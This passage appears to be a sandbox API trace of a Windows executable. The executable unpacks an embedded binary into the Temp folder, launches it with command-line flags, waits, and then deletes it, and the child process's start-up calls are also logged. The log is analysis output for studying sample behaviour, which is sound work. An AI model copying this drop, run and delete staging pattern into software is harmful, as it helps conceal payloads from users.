Size=0x1c) returned 0x626a98 [0106.747] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0xd2) returned 0x6280f0 [0106.747] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x7c) returned 0x6281d0 [0106.747] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x36) returned 0x628258 [0106.747] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x3a) returned 0x624e18 [0106.747] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x90) returned 0x628298 [0106.747] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x24) returned 0x628330 [0106.747] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x30) returned 0x628360 [0106.747] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x36) returned 0x628398 [0106.747] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x48) returned 0x6283d8 [0106.747] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x52) returned 0x628428 [0106.747] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x3c) returned 0x624e60 [0106.747] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x18) returned 0x628488 [0106.747] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x82) returned 0x6284a8 [0106.748] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x2e) returned 0x628538 [0106.748] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x1e) returned 0x626ac0 [0106.748] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x2c) returned 0x628570 [0106.748] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x54) returned 0x6285a8 [0106.748] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x52) returned 0x628608 [0106.748] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x2a) returned 0x628668 [0106.748] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x3c) returned 0x624ea8 [0106.748] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x54) returned 0x6286a0 [0106.748] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x24) returned 0x628700 [0106.748] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x30) returned 0x628730 [0106.748] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x8c) returned 0x628768 [0106.748] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x628820 | out: hHeap=0x610000) returned 1 [0106.748] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x800) returned 0x628800 [0106.748] GetLastError () returned 0x0 [0106.748] SetLastError (dwErrCode=0x0) [0106.749] GetLastError () returned 0x0 [0106.749] SetLastError (dwErrCode=0x0) [0106.749] GetLastError () returned 0x0 [0106.749] SetLastError (dwErrCode=0x0) [0106.749] GetACP () returned 0x4e4 [0106.749] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x220) returned 0x629008 [0106.749] GetLastError () returned 0x0 [0106.749] SetLastError (dwErrCode=0x0) [0106.749] IsValidCodePage (CodePage=0x4e4) returned 1 [0106.749] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fecc | out: lpCPInfo=0x18fecc) returned 1 [0106.749] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f994 | out: lpCPInfo=0x18f994) returned 1 [0106.749] GetLastError () returned 0x0 [0106.749] SetLastError (dwErrCode=0x0) [0106.749] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0106.749] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f718, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0106.749] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f9a8 | out: lpCharType=0x18f9a8) returned 1 [0106.749] GetLastError () returned 0x0 [0106.749] SetLastError (dwErrCode=0x0) [0106.749] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0106.749] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f6e8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0106.749] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0106.750] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4d8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0106.750] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18fca8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ{x\x94(äþ\x18", lpUsedDefaultChar=0x0) returned 256 [0106.750] GetLastError () returned 0x0 [0106.750] SetLastError (dwErrCode=0x0) [0106.750] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0106.750] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f6f8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0106.750] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0106.750] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4e8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0106.750] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18fba8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ{x\x94(äþ\x18", lpUsedDefaultChar=0x0) returned 256 [0106.750] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x80) returned 0x629230 [0106.750] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0106.750] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x40f584) returned 0x0 [0106.750] RtlSizeHeap (HeapHandle=0x610000, Flags=0x0, MemoryPointer=0x629230) returned 0x80 [0106.751] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0106.751] GetProcAddress (hModule=0x76e10000, lpProcName="IsWow64Process") returned 0x76e2195e [0106.751] GetCurrentProcess () returned 0xffffffff [0106.751] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x18ff34 | out: Wow64Process=0x18ff34) returned 1 [0106.751] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18fd28, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe")) returned 0x32 [0106.751] ExpandEnvironmentStringsW (in: lpSrc="%TEMP%", lpDst=0x18fb20, nSize=0x104 | out: lpDst="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x25 [0106.751] FindResourceW (hModule=0x0, lpName="RCHANDLE64", lpType="BINRES") returned 0x476060 [0106.751] LoadResource (hModule=0x0, hResInfo=0x476060) returned 0x43c648 [0106.751] SizeofResource (hModule=0x0, hResInfo=0x476060) returned 0x37490 [0106.751] LockResource (hResData=0x43c648) returned 0x43c648 [0106.751] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x18) returned 0x629700 [0106.752] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\bv6nck8c64.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x18f95c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x90 [0106.754] GetFileType (hFile=0x90) returned 0x1 [0106.754] WriteFile (in: hFile=0x90, lpBuffer=0x43c648*, nNumberOfBytesToWrite=0x37000, lpNumberOfBytesWritten=0x18df04, lpOverlapped=0x0 | out: lpBuffer=0x43c648*, lpNumberOfBytesWritten=0x18df04*=0x37000, lpOverlapped=0x0) returned 1 [0106.759] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x1000) returned 0x629720 [0106.760] WriteFile (in: hFile=0x90, lpBuffer=0x629720*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x18df00, lpOverlapped=0x0 | out: lpBuffer=0x629720*, lpNumberOfBytesWritten=0x18df00*=0x490, lpOverlapped=0x0) returned 1 [0106.760] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x629720 | out: hHeap=0x610000) returned 1 [0106.760] CloseHandle (hObject=0x90) returned 1 [0106.760] GetCommandLineW () returned="bv6ncK8c.exe -accepteula -c Run -y -p extract -nobanner" [0106.760] CreateProcessW (in: lpApplicationName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe", lpCommandLine="bv6ncK8c.exe -accepteula -c Run -y -p extract -nobanner", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18facc*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fb10 | out: lpCommandLine="bv6ncK8c.exe -accepteula -c Run -y -p extract -nobanner", lpProcessInformation=0x18fb10*(hProcess=0x94, hThread=0x90, dwProcessId=0xeb4, dwThreadId=0xeb8)) returned 1 [0106.899] WaitForSingleObject (hHandle=0x94, dwMilliseconds=0xffffffff) returned 0x0 [0108.074] DeleteFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\bv6nck8c64.exe")) returned 1 [0108.075] CloseHandle (hObject=0x94) returned 1 [0108.075] CloseHandle (hObject=0x90) returned 1 [0108.075] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x628800 | out: hHeap=0x610000) returned 1 [0108.075] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x18fedc | out: phModule=0x18fedc) returned 0 [0108.075] ExitProcess (uExitCode=0x0) [0108.076] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6270a0 | out: hHeap=0x610000) returned 1 Process: id = "196" image_name = "bv6nck8c64.exe" filename = "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\bv6nck8c64.exe" page_root = "0x224d8000" os_pid = "0xeb4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "195" os_parent_pid = "0xea8" cmd_line = "bv6ncK8c.exe -accepteula -c Run -y -p extract -nobanner" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 783 os_tid = 0xeb8 [0107.451] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x12ff38 | out: lpSystemTimeAsFileTime=0x12ff38*(dwLowDateTime=0xe37eb3a0, dwHighDateTime=0x1d5d06a)) [0107.451] GetCurrentThreadId () returned 0xeb8 [0107.451] GetCurrentProcessId () returned 0xeb4 [0107.451] QueryPerformanceCounter (in: lpPerformanceCount=0x12ff40 | out: lpPerformanceCount=0x12ff40*=24941440386) returned 1 [0107.463] GetProcessHeap () returned 0x2f0000 [0107.463] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76f20000 [0107.463] GetProcAddress (hModule=0x76f20000, lpProcName="FlsAlloc") returned 0x76f37190 [0107.463] GetProcAddress (hModule=0x76f20000, lpProcName="FlsFree") returned 0x76f315b0 [0107.463] GetProcAddress (hModule=0x76f20000, lpProcName="FlsGetValue") returned 0x76f43520 [0107.463] GetProcAddress (hModule=0x76f20000, lpProcName="FlsSetValue") returned 0x76f3bd90 [0107.463] GetProcAddress (hModule=0x76f20000, lpProcName="InitializeCriticalSectionEx") returned 0x76f379b0 [0107.463] GetProcAddress (hModule=0x76f20000, lpProcName="CreateEventExW") returned 0x76f6c590 [0107.463] GetProcAddress (hModule=0x76f20000, lpProcName="CreateSemaphoreExW") returned 0x76f6c4c0 [0107.463] GetProcAddress (hModule=0x76f20000, lpProcName="SetThreadStackGuarantee") returned 0x76f28050 [0107.464] GetProcAddress (hModule=0x76f20000, lpProcName="CreateThreadpoolTimer") returned 0x76f28820 [0107.464] GetProcAddress (hModule=0x76f20000, lpProcName="SetThreadpoolTimer") returned 0x7715b2f0 [0107.464] GetProcAddress (hModule=0x76f20000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7714d8c0 [0107.464] GetProcAddress (hModule=0x76f20000, lpProcName="CloseThreadpoolTimer") returned 0x7714d620 [0107.464] GetProcAddress (hModule=0x76f20000, lpProcName="CreateThreadpoolWait") returned 0x76f6ba80 [0107.464] GetProcAddress (hModule=0x76f20000, lpProcName="SetThreadpoolWait") returned 0x7715e170 [0107.464] GetProcAddress (hModule=0x76f20000, lpProcName="CloseThreadpoolWait") returned 0x7714c540 [0107.464] GetProcAddress (hModule=0x76f20000, lpProcName="FlushProcessWriteBuffers") returned 0x77191f80 [0107.464] GetProcAddress (hModule=0x76f20000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x7720ec60 [0107.464] GetProcAddress (hModule=0x76f20000, lpProcName="GetCurrentProcessorNumber") returned 0x77190040 [0107.464] GetProcAddress (hModule=0x76f20000, lpProcName="GetLogicalProcessorInformation") returned 0x76f6b820 [0107.464] GetProcAddress (hModule=0x76f20000, lpProcName="CreateSymbolicLinkW") returned 0x76f95ad0 [0107.464] GetProcAddress (hModule=0x76f20000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0107.464] GetProcAddress (hModule=0x76f20000, lpProcName="EnumSystemLocalesEx") returned 0x76f6c3d0 [0107.464] 